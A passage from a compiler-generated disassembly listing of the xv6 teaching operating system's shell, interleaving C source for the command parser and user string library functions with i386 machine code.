692: 74 05 je 699 <parseredirs+0x59>
694: 83 ff 2b cmp $0x2b,%edi
697: 75 b7 jne 650 <parseredirs+0x10>
break;
case '>':
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
break;
case '+': // >>
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
699: 83 ec 0c sub $0xc,%esp
69c: 6a 01 push $0x1
69e: 68 01 02 00 00 push $0x201
6a3: ff 75 e4 pushl -0x1c(%ebp)
6a6: ff 75 e0 pushl -0x20(%ebp)
6a9: ff 75 08 pushl 0x8(%ebp)
6ac: e8 af fc ff ff call 360 <redircmd>
break;
6b1: 83 c4 20 add $0x20,%esp
cmd = redircmd(cmd, q, eq, O_WRONLY|O_CREATE, 1);
6b4: 89 45 08 mov %eax,0x8(%ebp)
break;
6b7: eb 97 jmp 650 <parseredirs+0x10>
6b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
cmd = redircmd(cmd, q, eq, O_RDONLY, 0);
6c0: 83 ec 0c sub $0xc,%esp
6c3: 6a 00 push $0x0
6c5: 6a 00 push $0x0
6c7: eb da jmp 6a3 <parseredirs+0x63>
6c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
}
}
return cmd;
}
6d0: 8b 45 08 mov 0x8(%ebp),%eax
6d3: 8d 65 f4 lea -0xc(%ebp),%esp
6d6: 5b pop %ebx
6d7: 5e pop %esi
6d8: 5f pop %edi
6d9: 5d pop %ebp
6da: c3 ret
panic("missing file for redirection");
6db: 83 ec 0c sub $0xc,%esp
6de: 68 fc 11 00 00 push $0x11fc
6e3: e8 68 fa ff ff call 150 <panic>
6e8: 90 nop
6e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000006f0 <parseexec>:
return cmd;
}
struct cmd*
parseexec(char **ps, char *es)
{
6f0: 55 push %ebp
6f1: 89 e5 mov %esp,%ebp
6f3: 57 push %edi
6f4: 56 push %esi
6f5: 53 push %ebx
6f6: 83 ec 30 sub $0x30,%esp
6f9: 8b 75 08 mov 0x8(%ebp),%esi
6fc: 8b 7d 0c mov 0xc(%ebp),%edi
char *q, *eq;
int tok, argc;
struct execcmd *cmd;
struct cmd *ret;
if(peek(ps, es, "("))
6ff: 68 1c 12 00 00 push $0x121c
704: 57 push %edi
705: 56 push %esi
706: e8 c5 fe ff ff call 5d0 <peek>
70b: 83 c4 10 add $0x10,%esp
70e: 85 c0 test %eax,%eax
710: 0f 85 92 00 00 00 jne 7a8 <parseexec+0xb8>
716: 89 c3 mov %eax,%ebx
return parseblock(ps, es);
ret = execcmd();
718: e8 13 fc ff ff call 330 <execcmd>
cmd = (struct execcmd*)ret;
argc = 0;
ret = parseredirs(ret, ps, es);
71d: 83 ec 04 sub $0x4,%esp
ret = execcmd();
720: 89 45 d0 mov %eax,-0x30(%ebp)
ret = parseredirs(ret, ps, es);
723: 57 push %edi
724: 56 push %esi
725: 50 push %eax
726: e8 15 ff ff ff call 640 <parseredirs>
72b: 83 c4 10 add $0x10,%esp
72e: 89 45 d4 mov %eax,-0x2c(%ebp)
731: eb 18 jmp 74b <parseexec+0x5b>
733: 90 nop
734: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
cmd->argv[argc] = q;
cmd->eargv[argc] = eq;
argc++;
if(argc >= MAXARGS)
panic("too many args");
ret = parseredirs(ret, ps, es);
738: 83 ec 04 sub $0x4,%esp
73b: 57 push %edi
73c: 56 push %esi
73d: ff 75 d4 pushl -0x2c(%ebp)
740: e8 fb fe ff ff call 640 <parseredirs>
745: 83 c4 10 add $0x10,%esp
748: 89 45 d4 mov %eax,-0x2c(%ebp)
while(!peek(ps, es, "|)&;")){
74b: 83 ec 04 sub $0x4,%esp
74e: 68 33 12 00 00 push $0x1233
753: 57 push %edi
754: 56 push %esi
755: e8 76 fe ff ff call 5d0 <peek>
75a: 83 c4 10 add $0x10,%esp
75d: 85 c0 test %eax,%eax
75f: 75 67 jne 7c8 <parseexec+0xd8>
if((tok=gettoken(ps, es, &q, &eq)) == 0)
761: 8d 45 e4 lea -0x1c(%ebp),%eax
764: 50 push %eax
765: 8d 45 e0 lea -0x20(%ebp),%eax
768: 50 push %eax
769: 57 push %edi
76a: 56 push %esi
76b: e8 f0 fc ff ff call 460 <gettoken>
770: 83 c4 10 add $0x10,%esp
773: 85 c0 test %eax,%eax
775: 74 51 je 7c8 <parseexec+0xd8>
if(tok != 'a')
777: 83 f8 61 cmp $0x61,%eax
77a: 75 6b jne 7e7 <parseexec+0xf7>
cmd->argv[argc] = q;
77c: 8b 45 e0 mov -0x20(%ebp),%eax
77f: 8b 55 d0 mov -0x30(%ebp),%edx
782: 89 44 9a 04 mov %eax,0x4(%edx,%ebx,4)
cmd->eargv[argc] = eq;
786: 8b 45 e4 mov -0x1c(%ebp),%eax
789: 89 44 9a 2c mov %eax,0x2c(%edx,%ebx,4)
argc++;
78d: 83 c3 01 add $0x1,%ebx
if(argc >= MAXARGS)
790: 83 fb 0a cmp $0xa,%ebx
793: 75 a3 jne 738 <parseexec+0x48>
panic("too many args");
795: 83 ec 0c sub $0xc,%esp
798: 68 25 12 00 00 push $0x1225
79d: e8 ae f9 ff ff call 150 <panic>
7a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return parseblock(ps, es);
7a8: 83 ec 08 sub $0x8,%esp
7ab: 57 push %edi
7ac: 56 push %esi
7ad: e8 5e 01 00 00 call 910 <parseblock>
7b2: 83 c4 10 add $0x10,%esp
7b5: 89 45 d4 mov %eax,-0x2c(%ebp)
}
cmd->argv[argc] = 0;
cmd->eargv[argc] = 0;
return ret;
}
7b8: 8b 45 d4 mov -0x2c(%ebp),%eax
7bb: 8d 65 f4 lea -0xc(%ebp),%esp
7be: 5b pop %ebx
7bf: 5e pop %esi
7c0: 5f pop %edi
7c1: 5d pop %ebp
7c2: c3 ret
7c3: 90 nop
7c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
7c8: 8b 45 d0 mov -0x30(%ebp),%eax
7cb: 8d 04 98 lea (%eax,%ebx,4),%eax
cmd->argv[argc] = 0;
7ce: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
cmd->eargv[argc] = 0;
7d5: c7 40 2c 00 00 00 00 movl $0x0,0x2c(%eax)
}
7dc: 8b 45 d4 mov -0x2c(%ebp),%eax
7df: 8d 65 f4 lea -0xc(%ebp),%esp
7e2: 5b pop %ebx
7e3: 5e pop %esi
7e4: 5f pop %edi
7e5: 5d pop %ebp
7e6: c3 ret
panic("syntax");
7e7: 83 ec 0c sub $0xc,%esp
7ea: 68 1e 12 00 00 push $0x121e
7ef: e8 5c f9 ff ff call 150 <panic>
7f4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
7fa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000800 <parsepipe>:
{
800: 55 push %ebp
801: 89 e5 mov %esp,%ebp
803: 57 push %edi
804: 56 push %esi
805: 53 push %ebx
806: 83 ec 14 sub $0x14,%esp
809: 8b 5d 08 mov 0x8(%ebp),%ebx
80c: 8b 75 0c mov 0xc(%ebp),%esi
cmd = parseexec(ps, es);
80f: 56 push %esi
810: 53 push %ebx
811: e8 da fe ff ff call 6f0 <parseexec>
if(peek(ps, es, "|")){
816: 83 c4 0c add $0xc,%esp
cmd = parseexec(ps, es);
819: 89 c7 mov %eax,%edi
if(peek(ps, es, "|")){
81b: 68 38 12 00 00 push $0x1238
820: 56 push %esi
821: 53 push %ebx
822: e8 a9 fd ff ff call 5d0 <peek>
827: 83 c4 10 add $0x10,%esp
82a: 85 c0 test %eax,%eax
82c: 75 12 jne 840 <parsepipe+0x40>
}
82e: 8d 65 f4 lea -0xc(%ebp),%esp
831: 89 f8 mov %edi,%eax
833: 5b pop %ebx
834: 5e pop %esi
835: 5f pop %edi
836: 5d pop %ebp
837: c3 ret
838: 90 nop
839: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
gettoken(ps, es, 0, 0);
840: 6a 00 push $0x0
842: 6a 00 push $0x0
844: 56 push %esi
845: 53 push %ebx
846: e8 15 fc ff ff call 460 <gettoken>
cmd = pipecmd(cmd, parsepipe(ps, es));
84b: 58 pop %eax
84c: 5a pop %edx
84d: 56 push %esi
84e: 53 push %ebx
84f: e8 ac ff ff ff call 800 <parsepipe>
854: 89 7d 08 mov %edi,0x8(%ebp)
857: 89 45 0c mov %eax,0xc(%ebp)
85a: 83 c4 10 add $0x10,%esp
}
85d: 8d 65 f4 lea -0xc(%ebp),%esp
860: 5b pop %ebx
861: 5e pop %esi
862: 5f pop %edi
863: 5d pop %ebp
cmd = pipecmd(cmd, parsepipe(ps, es));
864: e9 47 fb ff ff jmp 3b0 <pipecmd>
869: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000870 <parseline>:
{
870: 55 push %ebp
871: 89 e5 mov %esp,%ebp
873: 57 push %edi
874: 56 push %esi
875: 53 push %ebx
876: 83 ec 14 sub $0x14,%esp
879: 8b 5d 08 mov 0x8(%ebp),%ebx
87c: 8b 75 0c mov 0xc(%ebp),%esi
cmd = parsepipe(ps, es);
87f: 56 push %esi
880: 53 push %ebx
881: e8 7a ff ff ff call 800 <parsepipe>
while(peek(ps, es, "&")){
886: 83 c4 10 add $0x10,%esp
cmd = parsepipe(ps, es);
889: 89 c7 mov %eax,%edi
while(peek(ps, es, "&")){
88b: eb 1b jmp 8a8 <parseline+0x38>
88d: 8d 76 00 lea 0x0(%esi),%esi
gettoken(ps, es, 0, 0);
890: 6a 00 push $0x0
892: 6a 00 push $0x0
894: 56 push %esi
895: 53 push %ebx
896: e8 c5 fb ff ff call 460 <gettoken>
cmd = backcmd(cmd);
89b: 89 3c 24 mov %edi,(%esp)
89e: e8 8d fb ff ff call 430 <backcmd>
8a3: 83 c4 10 add $0x10,%esp
8a6: 89 c7 mov %eax,%edi
while(peek(ps, es, "&")){
8a8: 83 ec 04 sub $0x4,%esp
8ab: 68 3a 12 00 00 push $0x123a
8b0: 56 push %esi
8b1: 53 push %ebx
8b2: e8 19 fd ff ff call 5d0 <peek>
8b7: 83 c4 10 add $0x10,%esp
8ba: 85 c0 test %eax,%eax
8bc: 75 d2 jne 890 <parseline+0x20>
if(peek(ps, es, ";")){
8be: 83 ec 04 sub $0x4,%esp
8c1: 68 36 12 00 00 push $0x1236
8c6: 56 push %esi
8c7: 53 push %ebx
8c8: e8 03 fd ff ff call 5d0 <peek>
8cd: 83 c4 10 add $0x10,%esp
8d0: 85 c0 test %eax,%eax
8d2: 75 0c jne 8e0 <parseline+0x70>
}
8d4: 8d 65 f4 lea -0xc(%ebp),%esp
8d7: 89 f8 mov %edi,%eax
8d9: 5b pop %ebx
8da: 5e pop %esi
8db: 5f pop %edi
8dc: 5d pop %ebp
8dd: c3 ret
8de: 66 90 xchg %ax,%ax
gettoken(ps, es, 0, 0);
8e0: 6a 00 push $0x0
8e2: 6a 00 push $0x0
8e4: 56 push %esi
8e5: 53 push %ebx
8e6: e8 75 fb ff ff call 460 <gettoken>
cmd = listcmd(cmd, parseline(ps, es));
8eb: 58 pop %eax
8ec: 5a pop %edx
8ed: 56 push %esi
8ee: 53 push %ebx
8ef: e8 7c ff ff ff call 870 <parseline>
8f4: 89 7d 08 mov %edi,0x8(%ebp)
8f7: 89 45 0c mov %eax,0xc(%ebp)
8fa: 83 c4 10 add $0x10,%esp
}
8fd: 8d 65 f4 lea -0xc(%ebp),%esp
900: 5b pop %ebx
901: 5e pop %esi
902: 5f pop %edi
903: 5d pop %ebp
cmd = listcmd(cmd, parseline(ps, es));
904: e9 e7 fa ff ff jmp 3f0 <listcmd>
909: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000910 <parseblock>:
{
910: 55 push %ebp
911: 89 e5 mov %esp,%ebp
913: 57 push %edi
914: 56 push %esi
915: 53 push %ebx
916: 83 ec 10 sub $0x10,%esp
919: 8b 5d 08 mov 0x8(%ebp),%ebx
91c: 8b 75 0c mov 0xc(%ebp),%esi
if(!peek(ps, es, "("))
91f: 68 1c 12 00 00 push $0x121c
924: 56 push %esi
925: 53 push %ebx
926: e8 a5 fc ff ff call 5d0 <peek>
92b: 83 c4 10 add $0x10,%esp
92e: 85 c0 test %eax,%eax
930: 74 4a je 97c <parseblock+0x6c>
gettoken(ps, es, 0, 0);
932: 6a 00 push $0x0
934: 6a 00 push $0x0
936: 56 push %esi
937: 53 push %ebx
938: e8 23 fb ff ff call 460 <gettoken>
cmd = parseline(ps, es);
93d: 58 pop %eax
93e: 5a pop %edx
93f: 56 push %esi
940: 53 push %ebx
941: e8 2a ff ff ff call 870 <parseline>
if(!peek(ps, es, ")"))
946: 83 c4 0c add $0xc,%esp
cmd = parseline(ps, es);
949: 89 c7 mov %eax,%edi
if(!peek(ps, es, ")"))
94b: 68 58 12 00 00 push $0x1258
950: 56 push %esi
951: 53 push %ebx
952: e8 79 fc ff ff call 5d0 <peek>
957: 83 c4 10 add $0x10,%esp
95a: 85 c0 test %eax,%eax
95c: 74 2b je 989 <parseblock+0x79>
gettoken(ps, es, 0, 0);
95e: 6a 00 push $0x0
960: 6a 00 push $0x0
962: 56 push %esi
963: 53 push %ebx
964: e8 f7 fa ff ff call 460 <gettoken>
cmd = parseredirs(cmd, ps, es);
969: 83 c4 0c add $0xc,%esp
96c: 56 push %esi
96d: 53 push %ebx
96e: 57 push %edi
96f: e8 cc fc ff ff call 640 <parseredirs>
}
974: 8d 65 f4 lea -0xc(%ebp),%esp
977: 5b pop %ebx
978: 5e pop %esi
979: 5f pop %edi
97a: 5d pop %ebp
97b: c3 ret
panic("parseblock");
97c: 83 ec 0c sub $0xc,%esp
97f: 68 3c 12 00 00 push $0x123c
984: e8 c7 f7 ff ff call 150 <panic>
panic("syntax - missing )");
989: 83 ec 0c sub $0xc,%esp
98c: 68 47 12 00 00 push $0x1247
991: e8 ba f7 ff ff call 150 <panic>
996: 8d 76 00 lea 0x0(%esi),%esi
999: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
000009a0 <nulterminate>:
// NUL-terminate all the counted strings.
struct cmd*
nulterminate(struct cmd *cmd)
{
9a0: 55 push %ebp
9a1: 89 e5 mov %esp,%ebp
9a3: 53 push %ebx
9a4: 83 ec 04 sub $0x4,%esp
9a7: 8b 5d 08 mov 0x8(%ebp),%ebx
struct execcmd *ecmd;
struct listcmd *lcmd;
struct pipecmd *pcmd;
struct redircmd *rcmd;
if(cmd == 0)
9aa: 85 db test %ebx,%ebx
9ac: 74 20 je 9ce <nulterminate+0x2e>
return 0;
switch(cmd->type){
9ae: 83 3b 05 cmpl $0x5,(%ebx)
9b1: 77 1b ja 9ce <nulterminate+0x2e>
9b3: 8b 03 mov (%ebx),%eax
9b5: ff 24 85 98 12 00 00 jmp *0x1298(,%eax,4)
9bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
nulterminate(lcmd->right);
break;
case BACK:
bcmd = (struct backcmd*)cmd;
nulterminate(bcmd->cmd);
9c0: 83 ec 0c sub $0xc,%esp
9c3: ff 73 04 pushl 0x4(%ebx)
9c6: e8 d5 ff ff ff call 9a0 <nulterminate>
break;
9cb: 83 c4 10 add $0x10,%esp
}
return cmd;
}
9ce: 89 d8 mov %ebx,%eax
9d0: 8b 5d fc mov -0x4(%ebp),%ebx
9d3: c9 leave
9d4: c3 ret
9d5: 8d 76 00 lea 0x0(%esi),%esi
nulterminate(lcmd->left);
9d8: 83 ec 0c sub $0xc,%esp
9db: ff 73 04 pushl 0x4(%ebx)
9de: e8 bd ff ff ff call 9a0 <nulterminate>
nulterminate(lcmd->right);
9e3: 58 pop %eax
9e4: ff 73 08 pushl 0x8(%ebx)
9e7: e8 b4 ff ff ff call 9a0 <nulterminate>
}
9ec: 89 d8 mov %ebx,%eax
break;
9ee: 83 c4 10 add $0x10,%esp
}
9f1: 8b 5d fc mov -0x4(%ebp),%ebx
9f4: c9 leave
9f5: c3 ret
9f6: 8d 76 00 lea 0x0(%esi),%esi
9f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
for(i=0; ecmd->argv[i]; i++)
a00: 8b 4b 04 mov 0x4(%ebx),%ecx
a03: 8d 43 08 lea 0x8(%ebx),%eax
a06: 85 c9 test %ecx,%ecx
a08: 74 c4 je 9ce <nulterminate+0x2e>
a0a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
*ecmd->eargv[i] = 0;
a10: 8b 50 24 mov 0x24(%eax),%edx
a13: 83 c0 04 add $0x4,%eax
a16: c6 02 00 movb $0x0,(%edx)
for(i=0; ecmd->argv[i]; i++)
a19: 8b 50 fc mov -0x4(%eax),%edx
a1c: 85 d2 test %edx,%edx
a1e: 75 f0 jne a10 <nulterminate+0x70>
}
a20: 89 d8 mov %ebx,%eax
a22: 8b 5d fc mov -0x4(%ebp),%ebx
a25: c9 leave
a26: c3 ret
a27: 89 f6 mov %esi,%esi
a29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
nulterminate(rcmd->cmd);
a30: 83 ec 0c sub $0xc,%esp
a33: ff 73 04 pushl 0x4(%ebx)
a36: e8 65 ff ff ff call 9a0 <nulterminate>
*rcmd->efile = 0;
a3b: 8b 43 0c mov 0xc(%ebx),%eax
break;
a3e: 83 c4 10 add $0x10,%esp
*rcmd->efile = 0;
a41: c6 00 00 movb $0x0,(%eax)
}
a44: 89 d8 mov %ebx,%eax
a46: 8b 5d fc mov -0x4(%ebp),%ebx
a49: c9 leave
a4a: c3 ret
a4b: 90 nop
a4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000a50 <parsecmd>:
{
a50: 55 push %ebp
a51: 89 e5 mov %esp,%ebp
a53: 56 push %esi
a54: 53 push %ebx
es = s + strlen(s);
a55: 8b 5d 08 mov 0x8(%ebp),%ebx
a58: 83 ec 0c sub $0xc,%esp
a5b: 53 push %ebx
a5c: e8 df 00 00 00 call b40 <strlen>
cmd = parseline(&s, es);
a61: 59 pop %ecx
es = s + strlen(s);
a62: 01 c3 add %eax,%ebx
cmd = parseline(&s, es);
a64: 8d 45 08 lea 0x8(%ebp),%eax
a67: 5e pop %esi
a68: 53 push %ebx
a69: 50 push %eax
a6a: e8 01 fe ff ff call 870 <parseline>
a6f: 89 c6 mov %eax,%esi
peek(&s, es, "");
a71: 8d 45 08 lea 0x8(%ebp),%eax
a74: 83 c4 0c add $0xc,%esp
a77: 68 e1 11 00 00 push $0x11e1
a7c: 53 push %ebx
a7d: 50 push %eax
a7e: e8 4d fb ff ff call 5d0 <peek>
if(s != es){
a83: 8b 45 08 mov 0x8(%ebp),%eax
a86: 83 c4 10 add $0x10,%esp
a89: 39 d8 cmp %ebx,%eax
a8b: 75 12 jne a9f <parsecmd+0x4f>
nulterminate(cmd);
a8d: 83 ec 0c sub $0xc,%esp
a90: 56 push %esi
a91: e8 0a ff ff ff call 9a0 <nulterminate>
}
a96: 8d 65 f8 lea -0x8(%ebp),%esp
a99: 89 f0 mov %esi,%eax
a9b: 5b pop %ebx
a9c: 5e pop %esi
a9d: 5d pop %ebp
a9e: c3 ret
printf(2, "leftovers: %s\n", s);
a9f: 52 push %edx
aa0: 50 push %eax
aa1: 68 5a 12 00 00 push $0x125a
aa6: 6a 02 push $0x2
aa8: e8 c3 03 00 00 call e70 <printf>
panic("syntax");
aad: c7 04 24 1e 12 00 00 movl $0x121e,(%esp)
ab4: e8 97 f6 ff ff call 150 <panic>
ab9: 66 90 xchg %ax,%ax
abb: 66 90 xchg %ax,%ax
abd: 66 90 xchg %ax,%ax
abf: 90 nop
00000ac0 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
ac0: 55 push %ebp
ac1: 89 e5 mov %esp,%ebp
ac3: 53 push %ebx
ac4: 8b 45 08 mov 0x8(%ebp),%eax
ac7: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
aca: 89 c2 mov %eax,%edx
acc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ad0: 83 c1 01 add $0x1,%ecx
ad3: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
ad7: 83 c2 01 add $0x1,%edx
ada: 84 db test %bl,%bl
adc: 88 5a ff mov %bl,-0x1(%edx)
adf: 75 ef jne ad0 <strcpy+0x10>
;
return os;
}
ae1: 5b pop %ebx
ae2: 5d pop %ebp
ae3: c3 ret
ae4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
aea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000af0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
af0: 55 push %ebp
af1: 89 e5 mov %esp,%ebp
af3: 53 push %ebx
af4: 8b 55 08 mov 0x8(%ebp),%edx
af7: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
afa: 0f b6 02 movzbl (%edx),%eax
afd: 0f b6 19 movzbl (%ecx),%ebx
b00: 84 c0 test %al,%al
b02: 75 1c jne b20 <strcmp+0x30>
b04: eb 2a jmp b30 <strcmp+0x40>
b06: 8d 76 00 lea 0x0(%esi),%esi
b09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
b10: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
b13: 0f b6 02 movzbl (%edx),%eax
p++, q++;
b16: 83 c1 01 add $0x1,%ecx
b19: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
b1c: 84 c0 test %al,%al
b1e: 74 10 je b30 <strcmp+0x40>
b20: 38 d8 cmp %bl,%al
b22: 74 ec je b10 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
b24: 29 d8 sub %ebx,%eax
}
b26: 5b pop %ebx
b27: 5d pop %ebp
b28: c3 ret
b29: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
b30: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
b32: 29 d8 sub %ebx,%eax
}
b34: 5b pop %ebx
b35: 5d pop %ebp
b36: c3 ret
b37: 89 f6 mov %esi,%esi
b39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000b40 <strlen>:
uint
strlen(const char *s)
{
b40: 55 push %ebp
b41: 89 e5 mov %esp,%ebp
b43: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
b46: 80 39 00 cmpb $0x0,(%ecx)
b49: 74 15 je b60 <strlen+0x20>
b4b: 31 d2 xor %edx,%edx
b4d: 8d 76 00 lea 0x0(%esi),%esi
b50: 83 c2 01 add $0x1,%edx
b53: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
b57: 89 d0 mov %edx,%eax
b59: 75 f5 jne b50 <strlen+0x10>
;
return n;
}
b5b: 5d pop %ebp
b5c: c3 ret
b5d: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
b60: 31 c0 xor %eax,%eax
}
b62: 5d pop %ebp
b63: c3 ret
b64: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
b6a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000b70 <memset>:
void*
memset(void *dst, int c, uint n)
{
b70: 55 push %ebp
b71: 89 e5 mov %esp,%ebp
b73: 57 push %edi
b74: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
b77: 8b 4d 10 mov 0x10(%ebp),%ecx
b7a: 8b 45 0c mov 0xc(%ebp),%eax
b7d: 89 d7 mov %edx,%edi
b7f: fc cld
b80: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
b82: 89 d0 mov %edx,%eax
b84: 5f pop %edi
b85: 5d pop %ebp
b86: c3 ret
b87: 89 f6 mov %esi,%esi
b89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000b90 <strchr>:
char*
strchr(const char *s, char c)
{
b90: 55 push %ebp
b91: 89 e5 mov %esp,%ebp
b93: 53 push %ebx
b94: 8b 45 08 mov 0x8(%ebp),%eax
b97: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
b9a: 0f b6 10 movzbl (%eax),%edx
b9d: 84 d2 test %dl,%dl
b9f: 74 1d je bbe <strchr+0x2e>
if(*s == c)
ba1: 38 d3 cmp %dl,%bl
ba3: 89 d9 mov %ebx,%ecx
ba5: 75 0d jne bb4 <strchr+0x24>
ba7: eb 17 jmp bc0 <strchr+0x30>
ba9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
bb0: 38 ca cmp %cl,%dl
bb2: 74 0c je bc0 <strchr+0x30>
for(; *s; s++)
bb4: 83 c0 01 add $0x1,%eax
bb7: 0f b6 10 movzbl (%eax),%edx
bba: 84 d2 test %dl,%dl
bbc: 75 f2 jne bb0 <strchr+0x20>
return (char*)s;
return 0;
bbe: 31 c0 xor %eax,%eax
}
bc0: 5b pop %ebx
bc1: 5d pop %ebp
bc2: c3 ret
bc3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
bc9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000bd0 <gets>:
char*
gets(char *buf, int max)
{
bd0: 55 push %ebp
bd1: 89 e5 mov %esp,%ebp
bd3: 57 push %edi
bd4: 56 push %esi
bd5: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
bd6: 31 f6 xor %esi,%esi
bd8: 89 f3 mov %esi,%ebx
{
bda: 83 ec 1c sub $0x1c,%esp
bdd: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
be0: eb 2f jmp c11 <gets+0x41>
be2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
be8: 8d 45 e7 lea -0x19(%ebp),%eax
beb: 83 ec 04 sub $0x4,%esp
bee: 6a 01 push $0x1
bf0: 50 push %eax
bf1: 6a 00 push $0x0
bf3: e8 32 01 00 00 call d2a <read>
if(cc < 1)
bf8: 83 c4 10 add $0x10,%esp
bfb: 85 c0 test %eax,%eax
bfd: 7e 1c jle c1b <gets+0x4b>
break;
buf[i++] = c;
bff: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
c03: 83 c7 01 add $0x1,%edi
c06: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
c09: 3c 0a cmp $0xa,%al
c0b: 74 23 je c30 <gets+0x60>
c0d: 3c 0d cmp $0xd,%al
c0f: 74 1f je c30 <gets+0x60>
for(i=0; i+1 < max; ){
c11: 83 c3 01 add $0x1,%ebx
c14: 3b 5d 0c cmp 0xc(%ebp),%ebx
c17: 89 fe mov %edi,%esi
c19: 7c cd jl be8 <gets+0x18>
c1b: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
c1d: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
c20: c6 03 00 movb $0x0,(%ebx)
}
c23: 8d 65 f4 lea -0xc(%ebp),%esp
c26: 5b pop %ebx
c27: 5e pop %esi
c28: 5f pop %edi
c29: 5d pop %ebp
c2a: c3 ret
c2b: 90 nop
c2c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c30: 8b 75 08 mov 0x8(%ebp),%esi
c33: 8b 45 08 mov 0x8(%ebp),%eax
c36: 01 de add %ebx,%esi
c38: 89 f3 mov %esi,%ebx
buf[i] = '\0';
c3a: c6 03 00 movb $0x0,(%ebx)
}
c3d: 8d 65 f4 lea -0xc(%ebp),%esp
c40: 5b pop %ebx
c41: 5e pop %esi
c42: 5f pop %edi
c43: 5d pop %ebp
c44: c3 ret
c45: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c49: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000c50 <stat>:
int
stat(const char *n, struct stat *st)
{
c50: 55 push %ebp
c51: 89 e5 mov %esp,%ebp
c53: 56 push %esi
c54: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
c55: 83 ec 08 sub $0x8,%esp
c58: 6a 00 push $0x0
c5a: ff 75 08 pushl 0x8(%ebp)
c5d: e8 f0 00 00 00 call d52 <open>
if(fd < 0)
c62: 83 c4 10 add $0x10,%esp
c65: 85 c0 test %eax,%eax
c67: 78 27 js c90 <stat+0x40>
return -1;
r = fstat(fd, st);
c69: 83 ec 08 sub $0x8,%esp
c6c: ff 75 0c pushl 0xc(%ebp)
c6f: 89 c3 mov %eax,%ebx
c71: 50 push %eax
c72: e8 f3 00 00 00 call d6a <fstat>
close(fd);
c77: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
c7a: 89 c6 mov %eax,%esi
close(fd);
c7c: e8 b9 00 00 00 call d3a <close>
return r;
c81: 83 c4 10 add $0x10,%esp
}
c84: 8d 65 f8 lea -0x8(%ebp),%esp
c87: 89 f0 mov %esi,%eax
c89: 5b pop %ebx
c8a: 5e pop %esi
c8b: 5d pop %ebp
c8c: c3 ret
c8d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
c90: be ff ff ff ff mov $0xffffffff,%esi
c95: eb ed jmp c84 <stat+0x34>
c97: 89 f6 mov %esi,%esi
c99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000ca0 <atoi>:
int
atoi(const char *s)
{
ca0: 55 push %ebp
ca1: 89 e5 mov %esp,%ebp
ca3: 53 push %ebx
ca4: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
ca7: 0f be 11 movsbl (%ecx),%edx
